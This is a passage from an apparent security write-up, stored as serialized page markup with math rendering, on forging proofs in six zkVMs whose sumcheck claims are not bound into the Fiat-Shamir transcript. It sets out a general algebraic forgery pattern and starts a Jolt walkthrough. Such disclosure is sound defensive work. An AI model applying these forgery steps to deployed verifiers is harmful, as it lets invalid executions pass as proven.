0,"style":19639},[19632,19637,19638],[112142],{"type":28,"value":106746},{"type":23,"tag":139,"props":112144,"children":112146},{"className":112145},[2025],[112147],{"type":23,"tag":139,"props":112148,"children":112150},{"className":112149},[2030,19650],[112151,112182],{"type":23,"tag":139,"props":112152,"children":112154},{"className":112153},[2035],[112155,112177],{"type":23,"tag":139,"props":112156,"children":112159},{"className":112157,"style":112158},[2040],"height:0.162em;",[112160],{"type":23,"tag":139,"props":112161,"children":112162},{"style":19663},[112163,112167],{"type":23,"tag":139,"props":112164,"children":112166},{"className":112165,"style":2050},[2049],[],{"type":23,"tag":139,"props":112168,"children":112170},{"className":112169},[2055,2056,2057,2058],[112171],{"type":23,"tag":139,"props":112172,"children":112175},{"className":112173,"style":112174},[2009,19596,2058],"margin-right:0.05724em;",[112176],{"type":28,"value":6661},{"type":23,"tag":139,"props":112178,"children":112180},{"className":112179},[19753],[112181],{"type":28,"value":19756},{"type":23,"tag":139,"props":112183,"children":112185},{"className":112184},[2035],[112186],{"type":23,"tag":139,"props":112187,"children":112190},{"className":112188,"style":112189},[2040],"height:0.4358em;",[112191],{"type":23,"tag":139,"props":112192,"children":112193},{},[],{"type":23,"tag":139,"props":112195,"children":112197},{"className":112196,"style":2128},[2089],[],{"type":23,"tag":139,"props":112199,"children":112201},{"className":112200},[2009],[112202,112206,112359],{"type":23,"tag":139,"props":112203,"children":112205},{"className":112204},[19725,111469],[],{"type":23,"tag":139,"props":112207,"children":112209},{"className":112208},[111474],[112210],{"type":23,"tag":139,"props":112211,"children":112213},{"className":112212},[2030,19650],[112214,112347],{"type":23,"tag":139,"props":112215,"children":112217},{"className":112216},[2035],[112218,112342],{"type":23,"tag":139,"props":112219,"children":112221},{"className":112220,"style":111487},[2040],[112222,112311,112322],{"type":23,"tag":139,"props":112223,"children":112224},{"style":111491},[112225,112229],{"type":23,"tag":139,"props":112226,"children":112228},{"className":112227,"style":110122},[2049],[],{"type":23,"tag":139,"props":112230,"children":112232},{"className":112231},[2055,2056,2057,2058],[112233],{"type":23,"tag":139,"props":112234,"children":112236},{"className":112235},[2009,2058],[112237,112242,112247],{"type":23,"tag":139,"props":112238,"children":112240},{"className":112239,"style":111508},[2009,19596,2058],[112241],{"type":28,"value":111511},{"type":23,"tag":139,"props":112243,"children":112245},{"className":112244},[2095,2058],[112246],{"type":28,"value":2069},{"type":23,"tag":139,"props":112248,"children":112250},{"className":112249},[2009,2058],[112251,112260],{"type":23,"tag":139,"props":112252,"children":112254},{"className":112253},[2009,28,2058],[112255],{"type":23,"tag":139,"props":112256,"children":112258},{"className":112257},[2009,2058],[112259],{"type":28,"value":59908},{"type":23,"tag":139,"props":112261,"children":112263},{"className":112262},[2025],[112264],{"type":23,"tag":139,"props":112265,"children":112267},{"className":112266},[2030,19650],[112268,112299],{"type":23,"tag":139,"props":112269,"children":112271},{"className":112270},[2035],[112272,112294],{"type":23,"tag":139,"props":112273,"children":112276},{"className":112274,"style":112275},[2040],"height:0.3281em;",[112277],{"type":23,"tag":139,"props":112278,"children":112280},{"style":112279},"top:-2.357em;margin-right:0.0714em;",[112281,112285],{"type":23,"tag":139,"props":112282,"children":112284},{"className":112283,"style":106811},[2049],[],{"type":23,"tag":139,"props":112286,"children":112288},{"className":112287},[2055,106816,106817,2058],[112289],{"type":23,"tag":139,"props":112290,"children":112292},{"className":112291,"style":112174},[2009,19596,2058],[112293],{"type":28,"value":6661},{"type":23,"tag":139,"props":112295,"children":112297},{"className":112296},[19753],[112298],{"type":28,"value":19756},{"type":23,"tag":139,"props":112300,"children":112302},{"className":112301},[2035],[112303],{"type":23,"tag":139,"props":112304,"children":112307},{"className":112305,"style":112306},[2040],"height:0.2819em;",[112308],{"type":23,"tag":139,"props":112309,"children":112310},{},[],{"type":23,"tag":139,"props":112312,"children":112313},{"style":111524},[112314,112318],{"type":23,"tag":139,"props":112315,"children":112317},{"className":112316,"style":110122},[2049],[],{"type":23,"tag":139,"props":112319,"children":112321},{"className":112320,"style":111534},[111533],[],{"type":23,"tag":139,"props":112323,"children":112324},{"style":111538},[112325,112329],{"type":23,"tag":139,"props":112326,"children":112328},{"className":112327,"style":110122},[2049],[],{"type":23,"tag":139,"props":112330,"children":112332},{"className":112331},[2055,2056,2057,2058],[112333],{"type":23,"tag":139,"props":112334,"children":112336},{"className":112335},[2009,2058],[112337],{"type":23,"tag":139,"props":112338,"children":112340},{"className":112339},[2009,2058],[112341],{"type":28,"value":647},{"type":23,"tag":139,"props":112343,"children":112345},{"className":112344},[19753],[112346],{"type":28,"value":19756},{"type":23,"tag":139,"props":112348,"children":112350},{"className":112349},[2035],[112351],{"type":23,"tag":139,"props":112352,"children":112355},{"className":112353,"style":112354},[2040],"height:0.5423em;",[112356],{"type":23,"tag":139,"props":112357,"children":112358},{},[],{"type":23,"tag":139,"props":112360,"children":112362},{"className":112361},[19747,111469],[],{"type":23,"tag":139,"props":112364,"children":112366},{"className":112365,"style":2090},[2089],[],{"type":23,"tag":139,"props":112368,"children":112370},{"className":112369},[2095],[112371],{"type":28,"value":2069},{"type":23,"tag":139,"props":112373,"children":112375},{"className":112374,"style":2090},[2089],[],{"type":23,"tag":139,"props":112377,"children":112379},{"className":112378},[1998],[112380,112385,112443,112447],{"type":23,"tag":139,"props":112381,"children":112384},{"className":112382,"style":112383},[2003],"height:1.296em;vertical-align:-0.4509em;",[],{"type":23,"tag":139,"props":112386,"children":112388},{"className":112387},[19632],[112389,112394],{"type":23,"tag":139,"props":112390,"children":112392},{"className":112391,"style":19639},[19632,19637,19638],[112393],{"type":28,"value":106746},{"type":23,"tag":139,"props":112395,"children":112397},{"className":112396},[2025],[112398],{"type":23,"tag":139,"props":112399,"children":112401},{"className":112400},[2030,19650],[112402,112431],{"type":23,"tag":139,"props":112403,"children":112405},{"className":112404},[2035],[112406,112426],{"type":23,"tag":139,"props":112407,"children":112409},{"className":112408,"style":111623},[2040],[112410],{"type":23,"tag":139,"props":112411,"children":112412},{"style":19663},[112413,112417],{"type":23,"tag":139,"props":112414,"children":112416},{"className":112415,"style":2050},[2049],[],{"type":23,"tag":139,"props":112418,"children":112420},{"className":112419},[2055,2056,2057,2058],[112421],{"type":23,"tag":139,"props":112422,"children":112424},{"className":112423,"style":92380},[2009,19596,2058],[112425],{"type":28,"value":86588},{"type":23,"tag":139,"props":112427,"children":112429},{"className":112428},[19753],[112430],{"type":28,"value":19756},{"type":23,"tag":139,"props":112432,"children":112434},{"className":112433},[2035],[112435],{"type":23,"tag":139,"props":112436,"children":112439},{"className":112437,"style":112438},[2040],"height:0.2997em;",[112440],{"type":23,"tag":139,"props":112441,"children":112442},{},[],{"type":23,"tag":139,"props":112444,"children":112446},{"className":112445,"style":2128},[2089],[],{"type":23,"tag":139,"props":112448,"children":112450},{"className":112449},[2009],[112451,112455,112608],{"type":23,"tag":139,"props":112452,"children":112454},{"className":112453},[19725,111469],[],{"type":23,"tag":139,"props":112456,"children":112458},{"className":112457},[111474],[112459],{"type":23,"tag":139,"props":112460,"children":112462},{"className":112461},[2030,19650],[112463,112596],{"type":23,"tag":139,"props":112464,"children":112466},{"className":112465},[2035],[112467,112591],{"type":23,"tag":139,"props":112468,"children":112470},{"className":112469,"style":111487},[2040],[112471,112560,112571],{"type":23,"tag":139,"props":112472,"children":112473},{"style":111491},[112474,112478],{"type":23,"tag":139,"props":112475,"children":112477},{"className":112476,"style":110122},[2049],[],{"type":23,"tag":139,"props":112479,"children":112481},{"className":112480},[2055,2056,2057,2058],[112482],{"type":23,"tag":139,"props":112483,"children":112485},{"className":112484},[2009,2058],[112486,112491,112496],{"type":23,"tag":139,"props":112487,"children":112489},{"className":112488,"style":111508},[2009,19596,2058],[112490],{"type":28,"value":111511},{"type":23,"tag":139,"props":112492,"children":112494},{"className":112493},[2095,2058],[112495],{"type":28,"value":2069},{"type":23,"tag":139,"props":112497,"children":112499},{"className":112498},[2009,2058],[112500,112510],{"type":23,"tag":139,"props":112501,"children":112503},{"className":112502},[2009,28,2058],[112504],{"type":23,"tag":139,"props":112505,"children":112507},{"className":112506},[2009,2058],[112508],{"type":28,"value":112509},"consume",{"type":23,"tag":139,"props":112511,"children":112513},{"className":112512},[2025],[112514],{"type":23,"tag":139,"props":112515,"children":112517},{"className":112516},[2030,19650],[112518,112548],{"type":23,"tag":139,"props":112519,"children":112521},{"className":112520},[2035],[112522,112543],{"type":23,"tag":139,"props":112523,"children":112525},{"className":112524,"style":110283},[2040],[112526],{"type":23,"tag":139,"props":112527,"children":112529},{"style":112528},"top:-2.3488em;margin-right:0.0714em;",[112530,112534],{"type":23,"tag":139,"props":112531,"children":112533},{"className":112532,"style":106811},[2049],[],{"type":23,"tag":139,"props":112535,"children":112537},{"className":112536},[2055,106816,106817,2058],[112538],{"type":23,"tag":139,"props":112539,"children":112541},{"className":112540,"style":92380},[2009,19596,2058],[112542],{"type":28,"value":86588},{"type":23,"tag":139,"props":112544,"children":112546},{"className":112545},[19753],[112547],{"type":28,"value":19756},{"type":23,"tag":139,"props":112549,"children":112551},{"className":112550},[2035],[112552],{"type":23,"tag":139,"props":112553,"children":112556},{"className":112554,"style":112555},[2040],"height:0.1512em;",[112557],{"type":23,"tag":139,"props":112558,"children":112559},{},[],{"type":23,"tag":139,"props":112561,"children":112562},{"style":111524},[112563,112567],{"type":23,"tag":139,"props":112564,"children":112566},{"className":112565,"style":110122},[2049],[],{"type":23,"tag":139,"props":112568,"children":112570},{"className":112569,"style":111534},[111533],[],{"type":23,"tag":139,"props":112572,"children":112573},{"style":111538},[112574,112578],{"type":23,"tag":139,"props":112575,"children":112577},{"className":112576,"style":110122},[2049],[],{"type":23,"tag":139,"props":112579,"children":112581},{"className":112580},[2055,2056,2057,2058],[112582],{"type":23,"tag":139,"props":112583,"children":112585},{"className":112584},[2009,2058],[112586],{"type":23,"tag":139,"props":112587,"children":112589},{"className":112588},[2009,2058],[112590],{"type":28,"value":647},{"type":23,"tag":139,"props":112592,"children":112594},{"className":112593},[19753],[112595],{"type":28,"value":19756},{"type":23,"tag":139,"props":112597,"children":112599},{"className":112598},[2035],[112600],{"type":23,"tag":139,"props":112601,"children":112604},{"className":112602,"style":112603},[2040],"height:0.4509em;",[112605],{"type":23,"tag":139,"props":112606,"children":112607},{},[],{"type":23,"tag":139,"props":112609,"children":112611},{"className":112610},[19747,111469],[],{"type":23,"tag":24,"props":112613,"children":112614},{},[112615,112617,112799],{"type":28,"value":112616},"The global check: ",{"type":23,"tag":135,"props":112618,"children":112620},{"className":112619},[1981,1982],[112621],{"type":23,"tag":139,"props":112622,"children":112624},{"className":112623},[1987],[112625],{"type":23,"tag":139,"props":112626,"children":112628},{"className":112627,"ariaHidden":1993},[1992],[112629,112786],{"type":23,"tag":139,"props":112630,"children":112632},{"className":112631},[1998],[112633,112637,112694,112698,112707,112712,112773,112777,112782],{"type":23,"tag":139,"props":112634,"children":112636},{"className":112635,"style":90893},[2003],[],{"type":23,"tag":139,"props":112638,"children":112640},{"className":112639},[19632],[112641,112646],{"type":23,"tag":139,"props":112642,"children":112644},{"className":112643,"style":19639},[19632,19637,19638],[112645],{"type":28,"value":106746},{"type":23,"tag":139,"props":112647,"children":112649},{"className":112648},[2025],[112650],{"type":23,"tag":139,"props":112651,"children":112653},{"className":112652},[2030,19650],[112654,112683],{"type":23,"tag":139,"props":112655,"children":112657},{"className":112656},[2035],[112658,112678],{"type":23,"tag":139,"props":112659,"children":112661},{"className":112660,"style":112158},[2040],[112662],{"type":23,"tag":139,"props":112663,"children":112664},{"style":19663},[112665,112669],{"type":23,"tag":139,"props":112666,"children":112668},{"className":112667,"style":2050},[2049],[],{"type":23,"tag":139,"props":112670,"children":112672},{"className":112671},[2055,2056,2057,2058],[112673],{"type":23,"tag":139,"props":112674,"children":112676},{"className":112675},[2009,19596,2058],[112677],{"type":28,"value":1728},{"type":23,"tag":139,"props":112679,"children":112681},{"className":112680},[19753],[112682],{"type":28,"value":19756},{"type":23,"tag":139,"props":112684,"children":112686},{"className":112685},[2035],[112687],{"type":23,"tag":139,"props":112688,"children":112690},{"className":112689,"style":112438},[2040],[112691],{"type":23,"tag":139,"props":112692,"children":112693},{},[],{"type":23,"tag":139,"props":112695,"children":112697},{"className":112696,"style":2128},[2089],[],{"type":23,"tag":139,"props":112699,"children":112701},{"className":112700},[2009,28],[112702],{"type":23,"tag":139,"props":112703,"children":112705},{"className":112704},[2009],[112706],{"type":28,"value":112044},{"type":23,"tag":139,"props":112708,"children":112710},{"className":112709,"style":90951},[2009],[112711],{"type":28,"value":1057},{"type":23,"tag":139,"props":112713,"children":112715},{"className":112714},[2009],[112716,112725],{"type":23,"tag":139,"props":112717,"children":112719},{"className":112718},[2009,28],[112720],{"type":23,"tag":139,"props":112721,"children":112723},{"className":112722},[2009],[112724],{"type":28,"value":74536},{"type":23,"tag":139,"props":112726,"children":112728},{"className":112727},[2025],[112729],{"type":23,"tag":139,"props":112730,"children":112732},{"className":112731},[2030,19650],[112733,112762],{"type":23,"tag":139,"props":112734,"children":112736},{"className":112735},[2035],[112737,112757],{"type":23,"tag":139,"props":112738,"children":112740},{"className":112739,"style":91480},[2040],[112741],{"type":23,"tag":139,"props":112742,"children":112743},{"style":112081},[112744,112748],{"type":23,"tag":139,"props":112745,"children":112747},{"className":112746,"style":2050},[2049],[],{"type":23,"tag":139,"props":112749,"children":112751},{"className":112750},[2055,2056,2057,2058],[112752],{"type":23,"tag":139,"props":112753,"children":112755},{"className":112754},[2009,19596,2058],[112756],{"type":28,"value":1728},{"type":23,"tag":139,"props":112758,"children":112760},{"className":112759},[19753],[112761],{"type":28,"value":19756},{"type":23,"tag":139,"props":112763,"children":112765},{"className":112764},[2035],[112766],{"type":23,"tag":139,"props":112767,"children":112769},{"className":112768,"style":91034},[2040],[112770],{"type":23,"tag":139,"props":112771,"children":112772},{},[],{"type":23,"tag":139,"props":112774,"children":112776},{"className":112775,"style":2187},[2089],[],{"type":23,"tag":139,"props":112778,"children":112780},{"className":112779},[2192],[112781],{"type":28,"value":1067},{"type":23,"tag":139,"props":112783,"children":112785},{"className":112784,"style":2187},[2089],[],{"type":23,"tag":139,"props":112787,"children":112789},{"className":112788},[1998],[112790,112794],{"type":23,"tag":139,"props":112791,"children":112793},{"className":112792,"style":91982},[2003],[],{"type":23,"tag":139,"props":112795,"children":112797},{"className":112796},[2009],[112798],{"type":28,"value":2021},{"type":28,"value":73},{"type":23,"tag":24,"props":112801,"children":112802},{},[112803,112808,112810,112816],{"type":23,"tag":56,"props":112804,"children":112805},{},[112806],{"type":28,"value":112807},"Why this is vulnerable:",{"type":28,"value":112809}," The ",{"type":23,"tag":135,"props":112811,"children":112813},{"className":112812},[],[112814],{"type":28,"value":112815},"claimed_sum",{"type":28,"value":112817}," values are prover-supplied. If they're not in the transcript before challenges are derived, the prover can adjust them to make the sum zero for an invalid execution.",{"type":23,"tag":16800,"props":112819,"children":112820},{},[],{"type":23,"tag":41,"props":112822,"children":112824},{"id":112823},"the-universal-attack-pattern",[112825],{"type":28,"value":112826},"The Universal Attack Pattern",{"type":23,"tag":24,"props":112828,"children":112829},{},[112830],{"type":28,"value":112831},"Now we can describe the attack pattern that works on all six systems:",{"type":23,"tag":24,"props":112833,"children":112834},{},[112835],{"type":23,"tag":429,"props":112836,"children":112839},{"alt":112837,"src":112838},"2_attack_pattern","/posts/zkvms-unfaithful-claims/2_attack_pattern.svg",[],{"type":23,"tag":24,"props":112841,"children":112842},{},[112843,112845,112870],{"type":28,"value":112844},"When a value ",{"type":23,"tag":135,"props":112846,"children":112848},{"className":112847},[1981,1982],[112849],{"type":23,"tag":139,"props":112850,"children":112852},{"className":112851},[1987],[112853],{"type":23,"tag":139,"props":112854,"children":112856},{"className":112855,"ariaHidden":1993},[1992],[112857],{"type":23,"tag":139,"props":112858,"children":112860},{"className":112859},[1998],[112861,112865],{"type":23,"tag":139,"props":112862,"children":112864},{"className":112863,"style":19591},[2003],[],{"type":23,"tag":139,"props":112866,"children":112868},{"className":112867,"style":106149},[2009,19596],[112869],{"type":28,"value":106473},{"type":28,"value":112871}," isn't transcript-bound:",{"type":23,"tag":797,"props":112873,"children":112874},{},[112875,112906,112983,113128],{"type":23,"tag":801,"props":112876,"children":112877},{},[112878,112880,112905],{"type":28,"value":112879},"Challenges are fixed (independent of ",{"type":23,"tag":135,"props":112881,"children":112883},{"className":112882},[1981,1982],[112884],{"type":23,"tag":139,"props":112885,"children":112887},{"className":112886},[1987],[112888],{"type":23,"tag":139,"props":112889,"children":112891},{"className":112890,"ariaHidden":1993},[1992],[112892],{"type":23,"tag":139,"props":112893,"children":112895},{"className":112894},[1998],[112896,112900],{"type":23,"tag":139,"props":112897,"children":112899},{"className":112898,"style":19591},[2003],[],{"type":23,"tag":139,"props":112901,"children":112903},{"className":112902,"style":106149},[2009,19596],[112904],{"type":28,"value":106473},{"type":28,"value":1104},{"type":23,"tag":801,"props":112907,"children":112908},{},[112909,112911],{"type":28,"value":112910},"The verification equation has form: ",{"type":23,"tag":135,"props":112912,"children":112914},{"className":112913},[1981,1982],[112915],{"type":23,"tag":139,"props":112916,"children":112918},{"className":112917},[1987],[112919],{"type":23,"tag":139,"props":112920,"children":112922},{"className":112921,"ariaHidden":1993},[1992],[112923,112964],{"type":23,"tag":139,"props":112924,"children":112926},{"className":112925},[1998],[112927,112931,112936,112941,112946,112951,112955,112960],{"type":23,"tag":139,"props":112928,"children":112930},{"className":112929,"style":2110},[2003],[],{"type":23,"tag":139,"props":112932,"children":112934},{"className":112933,"style":93305},[2009,19596],[112935],{"type":28,"value":30973},{"type":23,"tag":139,"props":112937,"children":112939},{"className":112938},[19725],[112940],{"type":28,"value":262},{"type":23,"tag":139,"props":112942,"children":112944},{"className":112943,"style":106149},[2009,19596],[112945],{"type":28,"value":106473},{"type":23,"tag":139,"props":112947,"children":112949},{"className":112948},[19747],[112950],{"type":28,"value":1104},{"type":23,"tag":139,"props":112952,"children":112954},{"className":112953,"style":2187},[2089],[],{"type":23,"tag":139,"props":112956,"children":112958},{"className":112957},[2192],[112959],{"type":28,"value":1067},{"type":23,"tag":139,"props":112961,"children":112963},{"className":112962,"style":2187},[2089],[],{"type":23,"tag":139,"props":112965,"children":112967},{"className":112966},[1998],[112968,112973],{"type":23,"tag":139,"props":112969,"children":112972},{"className":112970,"style":112971},[2003],"height:0.8095em;vertical-align:-0.1944em;",[],{"type":23,"tag":139,"props":112974,"children":112976},{"className":112975},[2009,28],[112977],{"type":23,"tag":139,"props":112978,"children":112980},{"className":112979},[2009],[112981],{"type":28,"value":112982},"target",{"type":23,"tag":801,"props":112984,"children":112985},{},[112986,112987,113013,113015],{"type":28,"value":5483},{"type":23,"tag":135,"props":112988,"children":112990},{"className":112989},[1981,1982],[112991],{"type":23,"tag":139,"props":112992,"children":112994},{"className":112993},[1987],[112995],{"type":23,"tag":139,"props":112996,"children":112998},{"className":112997,"ariaHidden":1993},[1992],[112999],{"type":23,"tag":139,"props":113000,"children":113002},{"className":113001},[1998],[113003,113008],{"type":23,"tag":139,"props":113004,"children":113007},{"className":113005,"style":113006},[2003],"height:0.8889em;vertical-align:-0.1944em;",[],{"type":23,"tag":139,"props":113009,"children":113011},{"className":113010,"style":93305},[2009,19596],[113012],{"type":28,"value":30973},{"type":28,"value":113014}," is linear: ",{"type":23,"tag":135,"props":113016,"children":113018},{"className":113017},[1981,1982],[113019],{"type":23,"tag":139,"props":113020,"children":113022},{"className":113021},[1987],[113023],{"type":23,"tag":139,"props":113024,"children":113026},{"className":113025,"ariaHidden":1993},[1992],[113027,113056,113083,113111],{"type":23,"tag":139,"props":113028,"children":113030},{"className":113029},[1998],[113031,113036,113043,113047,113052],{"type":23,"tag":139,"props":113032,"children":113035},{"className":113033,"style":113034},[2003],"height:0.4445em;",[],{"type":23,"tag":139,"props":113037,"children":113040},{"className":113038,"style":113039},[2009,19596],"margin-right:0.0037em;",[113041],{"type":28,"value":113042},"α",{"type":23,"tag":139,"props":113044,"children":113046},{"className":113045,"style":2090},[2089],[],{"type":23,"tag":139,"props":113048,"children":113050},{"className":113049},[2095],[113051],{"type":28,"value":109213},{"type":23,"tag":139,"props":113053,"children":113055},{"className":113054,"style":2090},[2089],[],{"type":23,"tag":139,"props":113057,"children":113059},{"className":113058},[1998],[113060,113065,113070,113074,113079],{"type":23,"tag":139,"props":113061,"children":113064},{"className":113062,"style":113063},[2003],"height:0.7667em;vertical-align:-0.0833em;",[],{"type":23,"tag":139,"props":113066,"children":113068},{"className":113067,"style":106149},[2009,19596],[113069],{"type":28,"value":106473},{"type":23,"tag":139,"props":113071,"children":113073},{"className":113072,"style":2090},[2089],[],{"type":23,"tag":139,"props":113075,"children":113077},{"className":113076},[2095],[113078],{"type":28,"value":2382},{"type":23,"tag":139,"props":113080,"children":113082},{"className":113081,"style":2090},[2089],[],{"type":23,"tag":139,"props":113084,"children":113086},{"className":113085},[1998],[113087,113091,113098,113102,113107],{"type":23,"tag":139,"props":113088,"children":113090},{"className":113089,"style":113006},[2003],[],{"type":23,"tag":139,"props":113092,"children":113095},{"className":113093,"style":113094},[2009,19596],"margin-right:0.05278em;",[113096],{"type":28,"value":113097},"β",{"type":23,"tag":139,"props":113099,"children":113101},{"className":113100,"style":2187},[2089],[],{"type":23,"tag":139,"props":113103,"children":113105},{"className":113104},[2192],[113106],{"type":28,"value":1067},{"type":23,"tag":139,"props":113108,"children":113110},{"className":113109,"style":2187},[2089],[],{"type":23,"tag":139,"props":113112,"children":113114},{"className":113113},[1998],[113115,113119],{"type":23,"tag":139,"props":113116,"children":113118},{"className":113117,"style":112971},[2003],[],{"type":23,"tag":139,"props":113120,"children":113122},{"className":113121},[2009,28],[113123],{"type":23,"tag":139,"props":113124,"children":113126},{"className":113125},[2009],[113127],{"type":28,"value":112982},{"type":23,"tag":801,"props":113129,"children":113130},{},[113131,113133],{"type":28,"value":113132},"Solve: ",{"type":23,"tag":135,"props":113134,"children":113136},{"className":113135},[1981,1982],[113137],{"type":23,"tag":139,"props":113138,"children":113140},{"className":113139},[1987],[113141],{"type":23,"tag":139,"props":113142,"children":113144},{"className":113143,"ariaHidden":1993},[1992],[113145,113171,113206],{"type":23,"tag":139,"props":113146,"children":113148},{"className":113147},[1998],[113149,113153,113158,113162,113167],{"type":23,"tag":139,"props":113150,"children":113152},{"className":113151,"style":19591},[2003],[],{"type":23,"tag":139,"props":113154,"children":113156},{"className":113155,"style":106149},[2009,19596],[113157],{"type":28,"value":106473},{"type":23,"tag":139,"props":113159,"children":113161},{"className":113160,"style":2187},[2089],[],{"type":23,"tag":139,"props":113163,"children":113165},{"className":113164},[2192],[113166],{"type":28,"value":1067},{"type":23,"tag":139,"props":113168,"children":113170},{"className":113169,"style":2187},[2089],[],{"type":23,"tag":139,"props":113172,"children":113174},{"className":113173},[1998],[113175,113179,113184,113193,113197,113202],{"type":23,"tag":139,"props":113176,"children":113178},{"className":113177,"style":2110},[2003],[],{"type":23,"tag":139,"props":113180,"children":113182},{"className":113181},[19725],[113183],{"type":28,"value":262},{"type":23,"tag":139,"props":113185,"children":113187},{"className":113186},[2009,28],[113188],{"type":23,"tag":139,"props":113189,"children":113191},{"className":113190},[2009],[113192],{"type":28,"value":112982},{"type":23,"tag":139,"props":113194,"children":113196},{"className":113195,"style":2090},[2089],[],{"type":23,"tag":139,"props":113198,"children":113200},{"className":113199},[2095],[113201],{"type":28,"value":2069},{"type":23,"tag":139,"props":113203,"children":113205},{"className":113204,"style":2090},[2089],[],{"type":23,"tag":139,"props":113207,"children":113209},{"className":113208},[1998],[113210,113214,113219,113224,113229],{"type":23,"tag":139,"props":113211,"children":113213},{"className":113212,"style":2110},[2003],[],{"type":23,"tag":139,"props":113215,"children":113217},{"className":113216,"style":113094},[2009,19596],[113218],{"type":28,"value":113097},{"type":23,"tag":139,"props":113220,"children":113222},{"className":113221},[19747],[113223],{"type":28,"value":1104},{"type":23,"tag":139,"props":113225,"children":113227},{"className":113226},[2009],[113228],{"type":28,"value":2583},{"type":23,"tag":139,"props":113230,"children":113232},{"className":113231,"style":113039},[2009,19596],[113233],{"type":28,"value":113042},{"type":23,"tag":24,"props":113235,"children":113236},{},[113237],{"type":28,"value":113238},"In the simplest linear case, forging reduces to solving a low-dimensional field equation, while other systems require small coupled systems.",{"type":23,"tag":24,"props":113240,"children":113241},{},[113242,113244,113322],{"type":28,"value":113243},"For systems with multiple unbound values, we get a system of linear equations. Gaussian elimination solves it in ",{"type":23,"tag":135,"props":113245,"children":113247},{"className":113246},[1981,1982],[113248],{"type":23,"tag":139,"props":113249,"children":113251},{"className":113250},[1987],[113252],{"type":23,"tag":139,"props":113253,"children":113255},{"className":113254,"ariaHidden":1993},[1992],[113256],{"type":23,"tag":139,"props":113257,"children":113259},{"className":113258},[1998],[113260,113265,113271,113276,113317],{"type":23,"tag":139,"props":113261,"children":113264},{"className":113262,"style":113263},[2003],"height:1.0641em;vertical-align:-0.25em;",[],{"type":23,"tag":139,"props":113266,"children":113268},{"className":113267,"style":90951},[2009,19596],[113269],{"type":28,"value":113270},"O",{"type":23,"tag":139,"props":113272,"children":113274},{"className":113273},[19725],[113275],{"type":28,"value":262},{"type":23,"tag":139,"props":113277,"children":113279},{"className":113278},[2009],[113280,113285],{"type":23,"tag":139,"props":113281,"children":113283},{"className":113282},[2009,19596],[113284],{"type":28,"value":54302},{"type":23,"tag":139,"props":113286,"children":113288},{"className":113287},[2025],[113289],{"type":23,"tag":139,"props":113290,"children":113292},{"className":113291},[2030],[113293],{"type":23,"tag":139,"props":113294,"children":113296},{"className":113295},[2035],[113297],{"type":23,"tag":139,"props":113298,"children":113300},{"className":113299,"style":2004},[2040],[113301],{"type":23,"tag":139,"props":113302,"children":113303},{"style":2044},[113304,113308],{"type":23,"tag":139,"props":113305,"children":113307},{"className":113306,"style":2050},[2049],[],{"type":23,"tag":139,"props":113309,"children":113311},{"className":113310},[2055,2056,2057,2058],[113312],{"type":23,"tag":139,"props":113313,"children":113315},{"className":113314},[2009,2058],[113316],{"type":28,"value":15308},{"type":23,"tag":139,"props":113318,"children":113320},{"className":113319},[19747],[113321],{"type":28,"value":1104},{"type":28,"value":113323}," field operations. For non-linear constraints, we might need to use some more advanced techniques like resultants and Groebner bases.",{"type":23,"tag":16800,"props":113325,"children":113326},{},[],{"type":23,"tag":41,"props":113328,"children":113330},{"id":113329},"the-six-broken-systems",[113331],{"type":28,"value":113332},"The Six Broken Systems",{"type":23,"tag":24,"props":113334,"children":113335},{},[113336],{"type":23,"tag":429,"props":113337,"children":113340},{"alt":113338,"src":113339},"3_six_broken_systems","/posts/zkvms-unfaithful-claims/3_six_broken_systems.svg",[],{"type":23,"tag":24,"props":113342,"children":113343},{},[113344],{"type":28,"value":113345},"Now let's see how this plays out in each system. We'll go deep on the first one (Jolt) to establish the pattern, then focus on what's unique about each subsequent system.",{"type":23,"tag":16800,"props":113347,"children":113348},{},[],{"type":23,"tag":666,"props":113350,"children":113352},{"id":113351},"jolt-a16z",[113353],{"type":28,"value":113354},"Jolt (a16z)",{"type":23,"tag":24,"props":113356,"children":113357},{},[113358],{"type":28,"value":113359},"Jolt is a zkVM for RISC-V programs, built by a16z. It uses sumcheck extensively to verify execution constraints.",{"type":23,"tag":24,"props":113361,"children":113362},{},[113363],{"type":23,"tag":56,"props":113364,"children":113365},{},[113366],{"type":28,"value":113367},"The proof structure:",{"type":23,"tag":128,"props":113369,"children":113371},{"code":113370},"JoltProof {\n    commitments: Vec\u003CCommitment>,           // Polynomial commitments to trace\n    opening_claims: Map\u003COpeningId, Claim>,  // \u003C- THE VULNERABLE VALUES\n    proofs: Map\u003CStage, SumcheckProof>,      // Sumcheck and opening proofs\n    ...\n}\n",[113372],{"type":23,"tag":135,"props":113373,"children":113374},{"__ignoreMap":7},[113375],{"type":28,"value":113370},{"type":23,"tag":24,"props":113377,"children":113378},{},[113379],{"type":23,"tag":56,"props":113380,"children":113381},{},[113382],{"type":28,"value":113383},"The verification flow:",{"type":23,"tag":24,"props":113385,"children":113386},{},[113387],{"type":23,"tag":429,"props":113388,"children":113391},{"alt":113389,"src":113390},"4_jolt_verification_flow","/posts/zkvms-unfaithful-claims/4_jolt_verification_flow.svg",[],{"type":23,"tag":24,"props":113393,"children":113394},{},[113395,113400,113402,113408,113410,113416,113418,113423],{"type":23,"tag":56,"props":113396,"children":113397},{},[113398],{"type":28,"value":113399},"The bug:",{"type":28,"value":113401}," Each sumcheck instance provides an ",{"type":23,"tag":135,"props":113403,"children":113405},{"className":113404},[],[113406],{"type":28,"value":113407},"input_claim",{"type":28,"value":113409},", which is the value the polynomial allegedly sums to over the Boolean hypercube. These claims come from ",{"type":23,"tag":135,"props":113411,"children":113413},{"className":113412},[],[113414],{"type":28,"value":113415},"opening_claims",{"type":28,"value":113417}," in the proof, but they were ",{"type":23,"tag":56,"props":113419,"children":113420},{},[113421],{"type":28,"value":113422},"never absorbed into the transcript",{"type":28,"value":113424}," before the batching coefficients were derived.",{"type":23,"tag":24,"props":113426,"children":113427},{},[113428],{"type":23,"tag":429,"props":113429,"children":113432},{"alt":113430,"src":113431},"5_jolt_flow","/posts/zkvms-unfaithful-claims/5_jolt_flow.svg",[],{"type":23,"tag":24,"props":113434,"children":113435},{},[113436],{"type":23,"tag":56,"props":113437,"children":113438},{},[113439],{"type":28,"value":113440},"How sumcheck uses opening_claims:",{"type":23,"tag":24,"props":113442,"children":113443},{},[113444,113446,113452,113454,113531],{"type":28,"value":113445},"In Jolt's batched sumcheck, the verifier computes a target value ",{"type":23,"tag":135,"props":113447,"children":113449},{"className":113448},[],[113450],{"type":28,"value":113451},"BatchedClaim",{"type":28,"value":113453}," by taking a random linear combination of the individual claims 